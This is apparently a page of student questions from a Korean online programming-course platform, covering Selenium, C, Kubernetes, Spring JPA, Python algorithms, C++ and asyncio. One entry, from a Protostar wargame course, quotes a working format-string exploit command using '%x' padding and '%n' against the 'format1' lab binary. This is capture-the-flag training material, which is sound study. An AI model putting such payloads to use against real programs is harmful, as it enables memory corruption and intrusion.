묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결현존 최강 크롤링 기술: Scrapy와 Selenium 정복
ActionChains에 대해 질문입니다.
ActionChains는 순차적인일을 처리하기위함이라고 나와있는데 그냥 ActionChains없이 코드를 순차적으로 쓰면 똑같은 일을 하게되는거아닌가요? ActionChains의 장점이 뭔지 와닿지가 않은데 설명 좀 해주실수 있을까요? 그리고 자동로그인 같은경우는 ActionChains를 쓰는게 낫나요?
-
미해결C 프로그래밍 - 입문부터 게임 개발까지
%d원 표시 어떻게 해야 하나요?
%d 여기 다음에 w돈 표시 써야하는데 w 키보드 누르면 \이렇게 나옵니다. %d원표시(더불유에 작대기) 어떻게 해야 하나요? %d\ 이렇게 나옵니다
-
미해결Vue.js 중급 강좌 - 웹앱 제작으로 배워보는 Vue.js, ES6, Vuex
깃헙 클론 해보려고 하는데 브랜치를 찾을수가 없어요.
깃헙을 잘은 몰라서 그런거같은데 "깃헙 브랜치 안내"영상에서 나오는 주소는 어떻게 갈 수 있나요? 양식은 이미 남겨서 메일도 받았는데 계속 아래 이미지 처럼만 나옵니다.
-
미해결공공데이터로 파이썬 데이터 분석 시작하기
pd.to_numeric 오류
유익한강의감사합니다. 오른쪽 화면 하단처럼 숫자형식 변환시 오류가 발생하여 질문드립니다.
-
미해결데브옵스(DevOps)를 위한 쿠버네티스 마스터
expose 했을때 deployments.extensions
5월 중순에 테스트 하는데 kubectl expose deployment nginx --port=80 --type=LoadBalancer하면 deployments.extensions "nginx" not found 이 발생합니다. ======================== deployment => pod으로 변경하니 동작합니다. kubectl expose pod nginx --port=80 --type=LoadBalancer kubectl expose deployment nginx --port=80 --type=LoadBalancer deployments.extensions "nginx" not found deployments.extensions "nginx" not found deployments.extensions "nginx" not fouyments.extensions "nginx" not found deployments.extensions "nginx" not found
-
미해결제주코딩베이스캠프 Code Festival: JavaScript 100제
parseInt가 왜 필요한지 모르겠습니다!
강사님 안녕하세요~! 강의 잘 듣고 있습니다 :0 질문이 있는데요! if(n % 7 === 0) 이 부분에서 어차피 7로 나누어 떨어질 때만 밑에 코드가 실행될텐데, 그럼 나눈 몫은 항상 정수가 되지 않을까요?
-
미해결파이썬 알고리즘 문제풀이 입문(코딩테스트 대비)
어디가 틀린건지 알 수 있을까요?
강의를 보기전에 짜본 코드인데 어디가 잘못된지를 모르겠어서 질문드립니다. 전체적인 로직은 앞 강의에서 배운 부분집합 로직에서 조금 추가한 것으로 각 부분집합의 합을 구하고 구한 합을 cand_dic이란 딕셔너리의 key값으로 넣고 value는 만약 이미 그 합이 존재하면 1씩 더해서 나중에 cand_dic을 둘러보았을 때 value가 1보다 큰 값이 있다면 부분집합의 합이 겹치는거니까 yes를 출력하게 한 것입니다. 저 그리고 강의에서 sum=total-sum으로 진위여부를 판단하셨는데 문제를 보면 두 개의 부분집합으로 나뉜다고 나와있는데 그럼 예를들어서 {1,3,5,6,7,10}이 있을때 {1,3} {5,6} 이렇게해도 두 개의 부분집합으로 나뉜거 아닌가요?? 그럼 sum=total-sum으로 판단을 하면 오류가 생기지 않나요? 제가 문제 이해를 잘못한건가요? def dfs(cnt=1): if cnt == n+1: cand = 0 for k, v in set_dic.items(): if v == 1: cand += k cand_dic[cand] = cand_dic.get(cand, 0) + 1 else: set_dic[set_list[cnt-1]] = 1 dfs(cnt+1) set_dic[set_list[cnt-1]] = 0 dfs(cnt+1) n = int(input()) set_list = list(map(int, input().split())) set_dic = {} for i in set_list: set_dic[i] = 0 cand_dic = {} dfs() is_answer = False for k, v in cand_dic.items(): if v > 1: is_answer = True break if is_answer: print('YES') else: print('NO')
-
미해결페이스북 클론 - full stack 웹 개발
jupyter notebook 수강중에
시작하자마자 막히네요. 따로 뭔가 설치를 해줘야하는건지..?
-
미해결실전! 스프링 데이터 JPA
마지막 부분 이해가 ㅠ,ㅠ
쿼리 메소드 - 벌크성 수정 쿼리 에서 질문이 있습니다!! 글로 적는거 보다 코드 밑에 TODO 통해 적는것이 이해하는게 편할꺼 같아서 이렇게 질문 드립니다! TODO로 남겨드렸습니다! 혹시 글자가 작은가요? ㅠ,ㅠ
-
미해결CSS Flex와 Grid 제대로 익히기
flex-grow, justiy-content 차이...점
음, flex-grow말고 .menu에서 justify-content: space-around; 로 해도, 동일한 효과가 나옵니다. 어떤 차이가 있는건가요? 어느 방식이 현명(?)한것인지 궁금합니다. 항상 이런 점이 어렵게 느껴집니다.ㅠ
-
미해결홍정모의 따라하며 배우는 C++
while을 for로 바꾸기 질문
안녕하세요? 강의 잘 듣고 있습니다. 강의 중 말씀하셨던 +, -. *, /를 추가해 보았고, switch문으로도 바꾸어 보았습니다. 그런데 getInt() 함수의 while문을 for문으로 바꿔보라고 하셨는데 그건 어떻게 바꿔야할지 감이 안오네요ㅜㅜ 알려주시면 감사하겠습니다. #include <iostream> using namespace std; int getInt() { while (true) { cout << "Enter a integer number : "; int x; cin >> x; if (std::cin.fail()) { std::cin.clear(); std::cin.ignore(32767, '\n'); cout << "Invalid number, please try again"; } else { std::cin.ignore(32767, '\n'); return x; } } } char getOperator() { while (true) { cout << "Enter an operator (+, -, *, /) : "; char op; cin >> op; std::cin.ignore(32767, '\n'); if (op == '+' || op == '-' || op == '*' || op == '/') { return op; } else { cout << "Invalid operator, please try again" << endl; } } } void printResult(int x, char op, int y) { switch (op) { case '+': cout << x + y << endl; break; case '-': cout << x - y << endl; break; case '*': cout << x * y << endl; break; case '/': cout << x / y << endl; break; } } int main() { int x = getInt(); char op = getOperator(); int y = getInt(); printResult(x, op, y); return 0; }
-
미해결스프링 웹 MVC
질문있습니다.
강의를 보고 소스를 똑같이 입력하였는데요. 테스트 결과값이 다르게 나오게되어 문의드립니다. java.lang.AssertionError: Response content expected:<hello keesun> but was:<hello 1> Expected :hello keesun Actual :hello 1 break point를 찍고 person객체와 savedPerson객체가 동일한 값이 들어있는걸 확인하였습니다. 컨버터가 동작을 안한건지 테스트 결과값을 toString을 찍어보면 id=null, name='1'로 나옵니다. 뭐가 문제인건가요?..ㅠ 테스트 코드도 첨부해드립니다. @SpringBootTest@AutoConfigureMockMvcpublic class SampleControllerTest { @Autowired MockMvc mockMvc; @Autowired PersonRepository personRepository; @Test public void hello() throws Exception { Person person = new Person(); person.setName("keesun"); Person savedPerson = personRepository.save(person); this.mockMvc.perform(get("/hello") .param("id", savedPerson.getId().toString())) .andDo(print()) .andExpect(content().string("hello keesun")); }}
-
미해결하울의 안드로이드 인스타그램 클론 만들기
영상에 나오는 것과 파이어베이스가 달라요
이렇게 변해버렸는데 어떻게 써야하나요?
-
미해결일주일 완성! 3dsmax 입문 (자동차 및 캐릭터 만들기)
자료 다운이 안되요..ㅜ
자료다운이 되지 않습니다. 혹시 메일로 자료를 받을 수 있을 까요..?
-
미해결우리를 위한 프로그래밍 : 파이썬 중급 (Inflearn Original)
await asyncio.gather(*futures) 에서 에러가 발생합니다.
실습을 하던 도중 asyncio.ensure_future 부분은 작동이 문제없이 되는 것 같은데 결과를 취합하는 부분에서 에러가 발생합니다. 모듈도 다 문제없이 설치가 된 듯 한데, 에러가 나서 명확한 원인을 모르겠네요. 다음은 발생한 에러코드의 마지막 부분입니다. ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1108) urllib.error.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1108)>
-
미해결C 프로그래밍 - 입문부터 게임 개발까지
&의 정확한 사용방법을 알고 싶습니다.
어떨때 사용하는지 구체적으로 알고싶습니다.
-
미해결진짜 현업에서 쓰이는 직장인의 실무 엑셀 - 데이터 가공부터 분석까지
탐색 창 수업내용과 다른 내용
(사진)
-
미해결해킹 대회를 위한 시스템 해킹 프로토스타 완벽 풀이집
11:02 결과 출력 안 될 때
칼리 버전 : 2019-01-vm-amd64 ./format1 $(python -c "print 'AAAA' + '\x38\x96\x04\x080' + '%x.'*154 + '%n.'") \x08 -> \x080으로 해야 결과가 출력 되네요
-
미해결실전! 스프링 데이터 JPA
JPQL로 join select를 했을떄 fetch = FetchType.LAZY로 적용했는데도 불과하고
JPQL로 join select를 했을떄 fetch = FetchType.LAZY로 적용했는데도 불과하고 쿼리문을 보면 inner join을 해서 나오는데요 무슨말이면 @Query("select new study.datajpa.dto.MemberDto(m.id, m.username, t.name) from Member m join m.team t") 이 단락을 보면 패치조인이 아니라 일반적인 조인을 했을경우 sql 중심으로 select 하는게 아니라 entity 중심으로 select 하기 때문에 이렇게 Member 연관관계를 맺은 Team이 지연로딩으로 셋팅했기 때문에 n + 1 로 member select 하고 연관관계인 team을 select 해야되지 않나요? 로그 보면 query문이 inner join으로 되어 있어서요... 이게 해당 비지니스 로직인데요 그럼 디버깅 체크 되기 전 save 했을때 이미 1차 캐시에 저장이 되어서(선배님의 JPA 기본편 보니 이렇게 되어 있어서요.. 혹시 제가 잘못 알고있었나요? ) inner join 으로 나가게 되는건가요? 어 그럼... DB에 커넥션 해서 가져오는게 아니라서 query문이 안나와야 하는데.. 혼동되네요 ㅠ,ㅠ 이상으로 좋은 강의를 만들어주셔서 감사드리고 잘 부탁드립니다! 감사합니다.
-
해결됨홍정모의 따라하며 배우는 C언어
8.6 3:00에서 scanf 관련 질문 있습니다.
#include <stdio.h> int main() { printf("Please input an integer and press enter.\n"); long input; char c; while (scanf("%ld", &input) != 1) { printf("Your input - "); while ((c = getchar()) != '\n') putchar(c); // input left in buffer printf(" - is not an integer. Please try again.\n"); } printf("Your input %ld is an integer. Thank you.\n", input); return 0; } 이 코드를 실행하고 스페이스나 엔터를 입력하면 제 생각으로는 스페이스나 엔터가 정수(integer)가 아니기 때문에 while문으로 들어와서 "Your input - (입력한 스페이스나 엔터) - is not an integer. Please try again." 이렇게 출력이 될 것이라 생각하였는데 실제로 해보니 입력한 스페이스나 엔터가 무시가 되는 것 같습니다. 디버거로도 찍어보았는데 엔터와 "a"를 입력하였더니 while에서 putchar()로 출력할 때 엔터는 출력되지 않고 "a"만 출력이 됩니다. 왜 입력한 스페이스나 엔터는 무시가 되는 것인지요?